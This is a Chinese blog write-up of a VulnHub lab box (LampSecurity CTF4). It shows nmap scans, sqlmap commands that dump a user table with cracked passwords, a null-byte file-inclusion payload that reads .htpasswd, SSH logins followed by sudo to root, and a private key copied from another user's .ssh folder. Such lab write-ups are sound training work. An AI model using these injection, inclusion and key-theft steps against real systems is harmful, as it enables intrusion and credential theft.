打靶记录(二):vulnhub——LampSecurity:CTF4

红队打靶:LampSecurity:CTF4打靶思路详解(vulnhub) 本文对vulnhub中靶机LampSecurity:CTF4进行了打靶。核心步骤就是发现数据库查询参数->使用sqlmap进行注入->拿到用户名和密码->ssh登录,由于靶机较为老旧,现在我们可以使用许多自动化脚本工具进行渗透,但核心还是要了解渗透的思路和各种针对漏洞的脚本编写原理,而非单纯的使用工具。 阅读详情

信息收集
nmap扫描网段
开机前

┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.132  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::20c:29ff:fe17:9209  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:17:92:09  txqueuelen 1000  (Ethernet)
        RX packets 7  bytes 1105 (1.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 25  bytes 3296 (3.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4  bytes 240 (240.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4  bytes 240 (240.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

                                                                                                                                                                                                                                                                                           
┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ nmap -sn 192.168.1.000/24                     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 15:18 CST
Nmap scan report for 192.168.1.2
Host is up (0.00024s latency).
Nmap scan report for 192.168.1.132
Host is up (0.00012s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 4.81 seconds

开机后

┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ nmap -sn 192.168.1.000/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 15:21 CST
Nmap scan report for 192.168.1.2
Host is up (0.00049s latency).
Nmap scan report for 192.168.1.132
Host is up (0.000019s latency).
Nmap scan report for 192.168.1.134
Host is up (0.00032s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 4.31 seconds

192.168.1.134为主机地址,下一步是对主机服务进行扫描

┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ nmap -min-rate=10000 -p- 192.168.1.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 15:38 CST
Nmap scan report for 192.168.1.134
Host is up (0.00034s latency).
Not shown: 65512 filtered tcp ports (no-response), 19 filtered tcp ports (host-unreach)
PORT    STATE  SERVICE
22/tcp  open   ssh
25/tcp  open   smtp
80/tcp  open   http
631/tcp closed ipp

Nmap done: 1 IP address (1 host up) scanned in 15.32 seconds

80端口需要关注一下,631也可以关注一下,可能会有后台界面或者登录界面
进一步进行服务扫描

┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ sudo nmap -sT -sV -O -p 22,25,80,631 192.168.1.134 
[sudo] password for pixe1_p0ints: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 16:02 CST
Nmap scan report for 192.168.1.134
Host is up (0.00034s latency).

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 4.3 (protocol 2.0)
25/tcp  open   smtp    Sendmail 8.13.5/8.13.5
80/tcp  open   http    Apache httpd 2.2.0 ((Fedora))
631/tcp closed ipp
MAC Address: 00:0C:29:28:D9:61 (VMware)
Device type: general purpose|proxy server|remote management|terminal server|switch|WAP
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (96%), SonicWALL embedded (93%), Control4 embedded (93%), Lantronix embedded (93%), SNR embedded (93%), Dell iDRAC 6 (92%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:sonicwall:aventail_ex-6000 cpe:/h:lantronix:slc_8 cpe:/h:snr:snr-s2960 cpe:/o:dell:idrac6_firmware cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel:4.1
Aggressive OS guesses: Linux 2.6.16 - 2.6.21 (96%), Linux 2.6.13 - 2.6.32 (95%), SonicWALL Aventail EX-6000 VPN appliance (93%), Control4 HC-300 home controller (93%), Lantronix SLC 8 terminal server (Linux 2.6) (93%), SNR SNR-S2960 switch (93%), Linux 2.6.8 - 2.6.30 (92%), Linux 2.6.9 - 2.6.18 (92%), Dell iDRAC 6 remote access controller (Linux 2.6) (92%), Linux 2.6.18 - 2.6.32 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: ctf4.sas.upenn.edu; OS: Unix

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.73 seconds                                                                          

换一种协议

┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ sudo nmap -sU -sV -O -p 22,25,80,631 192.168.1.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 16:03 CST
Nmap scan report for 192.168.1.134
Host is up (0.00022s latency).

PORT    STATE    SERVICE VERSION
22/udp  filtered ssh
25/udp  filtered smtp
80/udp  filtered http
631/udp closed   ipp
MAC Address: 00:0C:29:28:D9:61 (VMware)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.47 seconds

nmap自带的漏洞脚本扫一下,没想到结果还挺多

┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ nmap --script=vuln -p22,25,80,631 172.19.0.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 08:45 CST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 172.19.0.18
Host is up (0.00025s latency).

PORT    STATE  SERVICE
22/tcp  open   ssh
25/tcp  open   smtp
| smtp-vuln-cve2010-4344: 
|_  The SMTP server is not Exim: NOT VULNERABLE
80/tcp  open   http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-sql-injection: 
|   Possible sqli for queries:
|     http://172.19.0.18:80/?title=Blog&id=5%27%20OR%20sqlspider&page=blog
|     http://172.19.0.18:80/?title=Blog&id=6%27%20OR%20sqlspider&page=blog
|     http://172.19.0.18:80/?title=Blog&id=7%27%20OR%20sqlspider&page=blog
|_    http://172.19.0.18:80/?title=Blog&id=2%27%20OR%20sqlspider&page=blog
|_http-trace: TRACE is enabled
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.19.0.18
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://172.19.0.18:80/
|     Form id: 
|     Form action: /index.html?page=search&title=Search Results
|     
|     Path: http://172.19.0.18:80/index.html?page=search&title=Search Results
|     Form id: 
|     Form action: /index.html?page=search&title=Search Results
|     
|     Path: http://172.19.0.18:80/index.html?page=blog&title=Blog
|     Form id: 
|     Form action: /index.html?page=search&title=Search Results
|     
|     Path: http://172.19.0.18:80/index.html?title=Home Page
|     Form id: 
|     Form action: /index.html?page=search&title=Search Results
|     
|     Path: http://172.19.0.18:80/index.html?page=contact&title=Contact
|     Form id: 
|     Form action: /index.html?page=search&title=Search Results
|     
|     Path: http://172.19.0.18:80/index.html?page=research&title=Research
|     Form id: 
|     Form action: /index.html?page=search&title=Search Results
|     
|     Path: http://172.19.0.18:80/?page=blog&title=Blog&id=5
|     Form id: 
|     Form action: /index.html?page=search&title=Search Results
|     
|     Path: http://172.19.0.18:80/?page=blog&title=Blog&id=6
|     Form id: 
|     Form action: /index.html?page=search&title=Search Results
|     
|     Path: http://172.19.0.18:80/?page=blog&title=Blog&id=7
|     Form id: 
|     Form action: /index.html?page=search&title=Search Results
|     
|     Path: http://172.19.0.18:80/?page=blog&title=Blog&id=2
|     Form id: 
|_    Form action: /index.html?page=search&title=Search Results
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum: 
|   /admin/: Possible admin folder
|   /admin/index.php: Possible admin folder
|   /admin/login.php: Possible admin folder
|   /admin/admin.php: Possible admin folder
|   /robots.txt: Robots file
|   /icons/: Potentially interesting directory w/ listing on 'apache/2.2.0 (fedora)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.2.0 (fedora)'
|   /inc/: Potentially interesting directory w/ listing on 'apache/2.2.0 (fedora)'
|   /pages/: Potentially interesting directory w/ listing on 'apache/2.2.0 (fedora)'
|   /restricted/: Potentially interesting folder (401 Authorization Required)
|   /sql/: Potentially interesting directory w/ listing on 'apache/2.2.0 (fedora)'
|_  /usage/: Potentially interesting folder
631/tcp closed ipp

Nmap done: 1 IP address (1 host up) scanned in 171.35 seconds

四个端口中,631端口关闭,其他开放的三个端口里面,还是80端口最有可能有漏洞
访问一下80端口
在这里插入图片描述之前的扫描结果提示可能存在sql注入漏洞

http://172.19.0.18:80/?title=Blog&id=5%27%20OR%20sqlspider&page=blog

渗透部分
先尝试利用sql注入
kali的payload没什么用,看payload知道是blog界面,直接访问就好了
在这里插入图片描述在这里插入图片描述id代表的应该就是文章的序号
在这里插入图片描述

sqlmap回显太长,就不全部粘贴了
查看数据库

sqlmap -u 'http://172.19.0.18/index.html?page=blog&title=Blog&id=2%27%20or%201=1#' --dbs

在这里插入图片描述查看当前数据库

sqlmap -u 'http://172.19.0.18/index.html?page=blog&title=Blog&id=2%27%20or%201=1#' --current-db
current database: 'ehks'

查询数据表

sqlmap -u 'http://172.19.0.18/index.html?page=blog&title=Blog&id=2%27%20or%201=1#' -D ehks --tables
Database: ehks
[3 tables]
+---------+
| comment |
| user    |
| blog    |
+---------+

查询数据

sqlmap -u 'http://172.19.0.18/index.html?page=blog&title=Blog&id=2%27%20or%201=1#' -D ehks -T user --columns
Database: ehks
Table: user
[3 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| user_id   | int(11)     |
| user_name | varchar(20) |
| user_pass | varchar(32) |
+-----------+-------------+

查询字段

sqlmap -u 'http://172.19.0.18/index.html?page=blog&title=Blog&id=2%27%20or%201=1#' -D ehks -T user -C user_name,user_pass --dump

查询字段值

sqlmap -u 'http://172.19.0.18/index.html?page=blog&title=Blog&id=2%27%20or%201=1#' -D ehks -T user -C user_name,user_pass --dump
Database: ehks                                                                                                                                                                    
Table: user
[6 entries]
+-----------+--------------------------------------------------+
| user_name | user_pass                                        |
+-----------+--------------------------------------------------+
| achen     | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| dstevens  | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)    |
| ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1)       |
| jdurbin   | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978)       |
| pmoore    | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite)      |
| sorzek    | 64d1f88b9b276aece4b0edcc25b7a434 (pacman)        |
+-----------+--------------------------------------------------+

密码都被md5加密了,不过sqlmap可以自己跑出来
/admin路径下有一个登录界面,账号密码很有可能是匹配这个路径的
在这里插入图片描述每一个账号密码都可以登录,但是登录之后只有这样一个简单的页面,内容很少也没什么价值,显然这个并不是正确方向
在这里插入图片描述目前来看也没有找到其他提示,联想到之前扫到了ssh服务,不如尝试一下
ssh配置及连接

┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ ssh achen@172.19.0.18                                                                                                           
Unable to negotiate with 172.19.0.18 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

报错了,网上查阅资料以后发现是靶机ssh版本太老的问题,我们需要手动添加报错中返回的密钥算法
这里贴一篇解决方案
https://zhuanlan.zhihu.com/p/30840210

┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 achen@172.19.0.18
Unable to negotiate with 172.19.0.18 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

又报错了,这次是key-type的问题

┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostkeyAlgorithms=+ssh-rsa achen@172.19.0.18 
The authenticity of host '172.19.0.18 (172.19.0.18)' can't be established.
RSA key fingerprint is SHA256:NDWh6/414mOsW4P7K6ICc5R67PrX87ADMFUx9DK9ftk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.19.0.18' (RSA) to the list of known hosts.
BSD SSH 4.1
achen@172.19.0.18's password: 

继续加参数,输入密码,成功连接

[achen@ctf4 ~]$ whoami
achen
[achen@ctf4 ~]$ sudo -l
User achen may run the following commands on this host:
    (ALL) NOPASSWD: ALL
[achen@ctf4 ~]$ 

这边权限已经是最高了,不需要提权

sudo /bin/bash

渗透成功
官方文档复现
官方文档里面使用了一种文件包含的方法,在网上一众SQL注入里面还算比较新奇,所以来试一下
在这里插入图片描述
/pages目录下有三个php文件,而这三个我呢见刚好对应了网站主页上方的菜单栏
在这里插入图片描述切换网站页面,可以发现url会有所改变
在这里插入图片描述

http://172.19.0.18/index.html?page=blog&title=Blog

page参数就是控制文件包含的参数
可以猜想后端的代码大概是

 <?php
 $page = $_GET['page'];
 include($page . “.php”);
 ?>

由此可以对page参数进行文件包含
到包含这一步卡住了,尝试了ssh密钥泄露和直接读取shadow文件,发现权限不够,遂求助于文档,得知在当前目录/restriced路径下存在.htpasswd文件,记录了账号密码
htpasswd是apache的一个组件,主要功能是http验证,但其实.htpasswd并不存在默认路径,这个restriced路径大概率是自己定义的
无怪除官方文档之外都使用的是SQL注入

172.19.0.18/index.html?page=../restricted/.htpasswd%00&title=Blog

因为代码中对page参数使用.php进行拼接,所以这里使用%00进行截断
在这里插入图片描述密码爆破 sorzek:pacman

┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostkeyAlgorithms=+ssh-rsa sorzek@172.19.0.18 
BSD SSH 4.1
sorzek@172.19.0.18's password: 
Last login: Mon Mar  9 15:28:09 2009 from 192.168.0.51
[sorzek@ctf4 ~]$ 

ssh连接成功

[sorzek@ctf4 ~]$ sudo -l                                                                                                                                                           
Sorry, user sorzek may not run sudo on ctf4.

还不是root权限,需要我们手动提权

[sorzek@ctf4 home]$ cat /etc/passwd|grep achen
achen:x:501:501:Andrew Chen:/home/achen:/bin/bash

得知我们目标账户的目录
ssh密钥窃取
列出.ssh目录下的所有隐藏文件

[sorzek@ctf4 home]$ ls -lah /home/achen/.ssh
total 40K
drwxr-xr-x  2 achen achen 4.0K Mar  9  2009 .
drwxr-xr-x 16 achen users 4.0K Mar 10  2009 ..
-rw-rw-r--  1 achen achen  843 Mar  9  2009 achen_priv.ppk
-rw-rw-r--  1 achen achen  294 Mar  9  2009 achen_pub.ppk
-rwx------  1 achen achen  226 Mar  9  2009 authorized_keys

查看私钥

[sorzek@ctf4 home]$ cat /home/achen/.ssh/achen_priv.ppk
PuTTY-User-Key-File-2: ssh-rsa
Encryption: none
Comment: rsa-key-20090309
Public-Lines: 4
AAAAB3NzaC1yc2EAAAABJQAAAIB9HrXHbV0tQkPRiM2zG8/1tIgCD2gA3GwsjopS
N+k9OVHLe7OW6+ZRLXNHVP1FJ6BBVcZDV+CxpgAQj8lsIhiyskjbNzs85k7+8aVb
/JTq8KBnikbXLY2YgPVkkgZ1U9zPKzabSCjARrAxDOx1XEFfZ69T2ZyHP1MwfXGi
MTJgxQ==
Private-Lines: 8
AAAAgDzegfJQ4Ticxwv9XSazlZogeYR2MpiilX11xsA24CufWDl6cwsmp2XDFXyl
4v8MW8zB8b/lj+e4imjsAR/ZPHHlGRyGDyUSrJTusp1arl9UNzZgWnOz2kzvyTMP
R5DazAply2MYcvccGrhx7AXbjOsJZRcyh3gDnF0fu718jdTlAAAAQQD1JRPJe/MR
xOSX3D1ZdMUaSwsIopexRcG5GGZX9LNPMs1eyrEigmIkNQ6viwBI766ase/+79Xw
8seUasmkEkCDAAAAQQCCqQzL9X2f7nZvIRQTZGHiHMIQ6lGnBxwwTaN+N4oKBpcX
nyysSEW+C1Hk/EyXIc2rdLQrsqxjZhtEPdMNGQcXAAAAQQD0btOMDZFaO3DyWzIX
e7KATkMX3ISCajhE+kypXijoFmNOmJqLd956co6kDjFchCnUpMfWqWXP/pcj0/A5
y8vH
Private-MAC: 0b95165eb462c2f0857f1defa082eb5979d9ea69

在这里插入图片描述

┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ chmod 0700 achen_priv.key                                                                                                                      
                                                                                                                                                                                   
┌──(pixe1_p0ints㉿kali)-[~/Desktop]
└─$ ssh -i achen_priv.key -oKexAlgorithms=+diffie-hellman-group1-sha1 -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostkeyAlgorithms=+ssh-rsa achen@172.19.0.18
BSD SSH 4.1
Load key "achen_priv.key": Invalid key length
achen@172.19.0.18's password: 

因为ssh版本过于老旧,putty已经不支持SSH-1密钥的生成了,想生成密钥需要另寻他处,太麻烦而且原理已经差不多搞清楚了,遂放弃

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub) 本文是vulnhub靶机LampSecurity:CTF5的打靶思路详解,涉及的知识点包括到关于NanoCMS凭据泄露漏洞利用、历史记录凭据搜索等。靶机不难,但在寻找cms后台登录和提权的过程需要经验。 阅读详情

相关推荐

这是什么代码帮我看看

# 传入当前页参数page,参数名称要与views.py中的调用方法的参数名称保持一致 from django.urls import re_pathfrom apps.page.views import IndexViewurlpatterns = [ re_path(r'^index(?P\d+)$', IndexView.as_view(), name='index'), # 数据分页 ]# 调用方法def get(self, request, page)的参数page对应url...

Sapphire521的博客 4万+

VulnHub——Kioptrix Level 2

简介 信息收集 使用fping -agq 192.168.0.0/24探测局域网内其它主机,发现目标主机IP地址,如图: 然后使用nmap --min-rate 10000 -T5 -A -sC -p1-65535 192.168.0.129快速扫描目标主机开启的端口与服务,发现开启22,80,111,443,631,660和3306端口, 使用SearchSploit搜...

江左盟的博客 1423

不止于HTTPS请求:用VS2022编译的libcurl玩转文件上传和代理设置

本文详细介绍了如何使用VS2022编译的libcurl库实现文件上传和高级代理配置。通过实战代码示例,展示了多部分表单上传、二进制数据上传以及各种代理设置技巧,帮助C++开发者提升网络编程能力。

weixin_28595749的博客 206

Vulnhub_CTF-4

Vulnhub_CTF-4

weixin_44193247的博客 1311

coredump文件的原理是啥

Core Dump(核心转储)是操作系统在程序崩溃(如段错误、非法指令等)时自动生成的一个文件,它包含了程序崩溃瞬间的。通过 core dump,开发者可以像“时间回溯”一样检查程序崩溃瞬间的状态,是调试复杂问题的利器!终止时,Linux 内核会生成 core 文件。不会生成 core dump,因为它们是“优雅终止”信号。这样 core 文件会直接压缩存储,节省磁盘空间。的文件(类似可执行文件),可以用。Core 文件本质上是一个。

二进制君 384

一、【vmware虚拟机使用】安装vmware workstations17

本文介绍了VMware Workstation 17的安装与网络配置方法。主要内容包括:通过下载安装包进行标准安装(含许可协议、路径选择等步骤);重点讲解了NAT模式下的网络配置,包括修改子网IP为192.168.2.0网段、设置网关地址和DHCP范围等操作,以避免与主机网络冲突。文章还简要说明了VMware的Hypervisor核心技术原理,包括CPU、内存和存储虚拟化。最后指出完成这些准备工作后,后续将进行CentOS7系统的安装。整个流程配有详细图文说明,适合初学者跟随操作。

信创运维工程师 · 银河麒麟 & 容器实战 | 金融生产环境迁移·等保加固 | 142篇原创·17万+阅读 2747

LAMPSecurity——CTF4

这个靶场总体来说比较简单(比上周做的DC系列更简单),正常的nmap进行端口信息收集,然后在Web页面发现SQL注入漏洞,借助sqlmap顺利拿到用户和其密码信息。但是在SSH爆破时因为靶场时间太久了,密钥交换的算法不一致导致被一直无法正常爆破,后来通过大佬的指点通过设置密钥算法的参数完成登录。最后的提权部分就是/bin/bash提权就行。

qq_51175992的博客 527

MimicKit 人形机器人强化学习全身模仿控制算法使用教程

本文介绍了MimicKit运动模仿算法框架的使用指南。主要内容包括:1)安装IsaacGym和依赖项;2)训练模型命令及参数说明;3)测试模型的方法;4)分布式训练配置;5)使用TensorBoard可视化日志;6)动作数据格式说明。该框架支持DeepMimic、AMP、ASE、ADD等算法,包含PPO、AWR等强化学习算法,适用于物理仿真角色动画控制研究。

机器人控制与仿真应用 1203

红队实战:从Web渗透到系统提权的完整攻击链解析

在网络安全领域,渗透测试是评估系统防御能力的关键方法,其核心在于模拟攻击者行为,发现并利用安全漏洞。其基本原理是通过系统化的信息收集、漏洞分析与利用,验证安全风险。这项技术的价值在于帮助企业主动识别防御弱点,提升整体安全水位。典型的应用场景包括红蓝对抗演练、CTF竞赛及安全评估。本文以一次完整的红队实战演练为例,深入剖析了从Web渗透到系统提权的完整攻击链,其中涉及SQL注入、文件上传等常见Web漏洞的利用,并详细讲解了如何通过phpMyAdmin获取Webshell,以及利用SUID和sudo配置进行权限

weixin_30292745的博客 383

Spring 核心技术解析【纯干货版】- I:Spring 基础模块 Spring-Core 模块精讲

Spring-Core 模块,是 Spring 核心容器模块之一。虽然 “Core” 本身就有 “核心的,重要的部分” 的含义,但是它并非是实现(常被我们说为 Spring 核心机制)IOC / AOP 的模块。Spring 中的 IOC 机制,主要来自于 BeanFactory 容器和 ApplicationContext 容器,这二者分别由同为核心容器模块的 Spring-Bean 模块 和 Spring-Context 模块所提供。

栗筝i的博客 2525

【花雕学编程】Arduino FOC 之AS5048A磁编码器模块

您的硬件平台、使用场景和Arduino版本可能影响使用方法的选择。在Arduino平台上实现FOC可以提供平滑的运行和高度的扭矩、速度和位置控制,它通过精确控制电机的电流和电压来实现高效率、高精度和低噪声的操作。5、创新:Arduino可以让你用电子的方式来表达你的创意和想象,你可以用Arduino来制作各种有趣和有用的项目,如机器人、智能家居、艺术装置等。1、高性能电机控制:FOC是一种高级的电机控制算法,可以精准控制PMSM(永磁同步电机)和BLDC(无刷直流)电机,实现平滑的转速和扭矩输出。

雕爷学编程 1496

狂神说Linux03:Vim使用及账号用户管理

狂神说Linux系列连载课程,通俗易懂,基于CentOS7,欢迎各位狂粉转发关注学习。未经作者授权,禁止转载Vim编辑器什么是Vim编辑器Vim是从 vi 发展出来的一个文本编辑器。代码...

狂神说 3070

【人工智能】向量数据库全生命周期数据安全防护体系:破解向量化与检索双环节泄露风险

大模型时代,向量数据库已成为RAG(检索增强生成)架构、语义检索、多模态应用的核心基础设施,解决了大模型幻觉、长上下文窗口限制、私有知识落地等核心痛点。但行业普遍存在认知误区:将Embedding向量等同于“无害的语义压缩乱码”,忽视了向量数据原生的泄露风险。

奶爸的编程之路,也就一周冷个三天 161

SSM框架

SSM框架 MyBatis MyBatis简介 什么是MyBatis 一款持久层框架 MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集的过程 MyBatis 可以使用简单的 XML 或注解来配置和映射原生信息,将接口和 Java 的 实体类 【Plain Old Java Objects,普通的 Java对象】映射成数据库中的记录。 可以通过Maven仓库获得MyBatis 持久化 持久化是将程序数据在持久状态和瞬时状态间转换的机制。 即把数据(如内存中的对象)保存到可永久

qq_47660615的博客 9万+

【汇编实战开发笔记】一段汇编代码如何“反编译”成C代码?

介绍了一种由汇编代码得到C代码的方法

一个专注于嵌入式IoT领域的架构师,深耕IoT领域多年,深度掌握IoT领域的相关技术栈,包括但不限于RTOS内核的实现及其移植、硬件驱动移植开发、网络通讯协议开发、编译构建原理及其实现、底层汇编及编译原理、编译优化及代码重构、嵌入式IoT系统的架构设计等。 1万+

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

【学渗透靶机——lampSecurityCTF4】

page=blog&title=Blog&id=2 地址存在注入。发现sudo - l 发现该账号sudo 可执行root 所有命令,并且不需要密码。2、使用 order by 判断数据库的列。5、查询user 表的字段信息。4、查询当前数据库有哪些表。3、使用联合注入找报错点。nmap 主机漏洞探测。扫描出也没什么有用信息。1、通过浏览页面发现。

jieli0901227的博客 546

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

VulnHub————CTF4

本人为新手,发文章只是记录学习笔记,大佬勿喷。文中很多地方有多种解法,并不唯一。

m0_63200360的博客 419

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

Android8打印功能,[翻译]Android 8.1 默认打印服务的中间人攻击漏洞披露

漏洞概述Android 8.1引入了默认打印服务。默认打印服务,基于Mopria联盟在谷歌应用商店发布的免费应用,Mopria Print Service。因其缺乏验证,所以会导致中间人攻击并被拦截后续的打印作业,还会造成在使用潜在不安全的打印设备时不发出任何警告或确认。认证安全研究员Matt Parnell已经将这个漏洞报给Beyond Security的安全团队。受感染系统Android8.1...

weixin_35291771的博客 904

云计算 1月17号

它被广泛用于网络发现和安全扫描。Nmap使用原始IP数据包来确定网络上的哪些主机可用、这些主机提供哪些服务(应用程序名和版本)、这些主机运行的操作系统(包括版本信息和可能的硬件类型)、这些主机使用的包过滤器/防火墙类型以及各种其他特性。:添加X-Frame-Options、X-Content-Type-Options等安全头部,以增强浏览器安全性。执行暴力破解攻击的脚本,用于尝试破解目标上的各种服务(如FTP、SSH等)的密码。在端口3306(MySQL的默认端口)上运行检查空密码的MySQL账户的脚本。

学无止境 9706

vulnhub之ctf4

检测发现存在sql注入,这里使用sqlmap下载数据库中的数据,别问为什么下载,一个字,快。对80开放的web服务进行检测,这里使用rad加xray配合检测,友情提示,netdiscover或者nmap -sP 192.168.2.0/24。初步进行检测,并且进行端口扫描,发现开放22端口,80端口等。使用ssh登录时候,可能会产生一定的错误,这里给出解决方法。在user数据表中发现用户名以及密码,编辑为字典,时候,输入该用户对应的密码即可成功变成root用户。vulnhub之ctf4。

qq_54030686的博客 1496

C# Page基础功能,用于各页面继承

IBasePage.cs文件 /// /// 用于页面或用户控件 /// public interface IBasePage { /// /// 数据缓存类 /// DbCache CacheHelp { get; } /// /// 页面视图,用

技术资料收集站 13万+

LampSecurityCTF4 靶机渗透 ( sqlmap ,ssh 参数调整 )

主机发现在端口上,发现 80 端口是一个博客的站观察 url 的特征,发现可能存在 sql 注入通过 sqlmap 注入,拿到账号密码使用 ssh 登录,对 ssh 参数进行调整拿到初级 shell检查当前用户的权限,使用 /bin/bash 提权,拿到 root结束这台靶机较简单,如果使用 sqlmap。这意味着可用手工注入,如果想深入学习就用手工注入做一遍吧😄渗透工具对渗透来说是最不重要的工具在真正的渗透中不适用,因为工具会携带特征码,容易被防火墙拦截。

m0_63416413的博客 1074

vulnhub-CTF4靶机实战

Vulnhub-CTF4靶机实战

御七彩虹猫 3690

LAMPSecurity: CTF4靶场渗透

目标服务器(OpenSSH 4.3,老旧版本)仅支持diffie-hellman-group1-sha1等旧密钥交换算法,而本地新版 SSH 客户端默认禁用了这些算法。通过-o KexAlgorithms=diffie-hellman-group1-sha1参数,强制客户端启用该算法,解决了 “无匹配密钥交换方法” 的问题。通过-o HostKeyAlgorithms=ssh-rsa参数,允许客户端接受ssh-rsa类型的主机密钥,解决了 “无匹配主机密钥类型” 的问题。什么都没有,再扫描其子目录看看。

sucker的博客 837

vulnhub靶场——LAMPSecurityCTF4

下载地址:https://download.vulnhub.com/lampsecurity/ctf4.zip发现目标主机为172.16.8.151并且开放了端口22,25,80,631寻找一下页面中可能会存在的漏洞这里发现url中存在id参数,输入单引号后页面报错,说明该参数没有经过过滤,直接插入到了数据库中,接下来就可以进行sql注入了,建议大家先用手工注入这里可以知道是数字型注入这里判断出页面存在五个字段得到回显点这里要在回显点3处进行注入,得到当前数据库名ehks得到该数据库下三个表,blog、co

2302_81105681的博客 619

打靶 LAMPSECURITY: CTF4

LAMPSECURITY: CTF4

Mysmycbx的博客 350
上一篇: 打靶记录(一):vulnhub——w1r3s:1.0.1
下一篇: 2025年第二届全国网络安全行业职业技能大赛电子数据取证赛道复赛WP
Pixe1_P0ints
博客等级 码龄5年 74粉丝 6原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值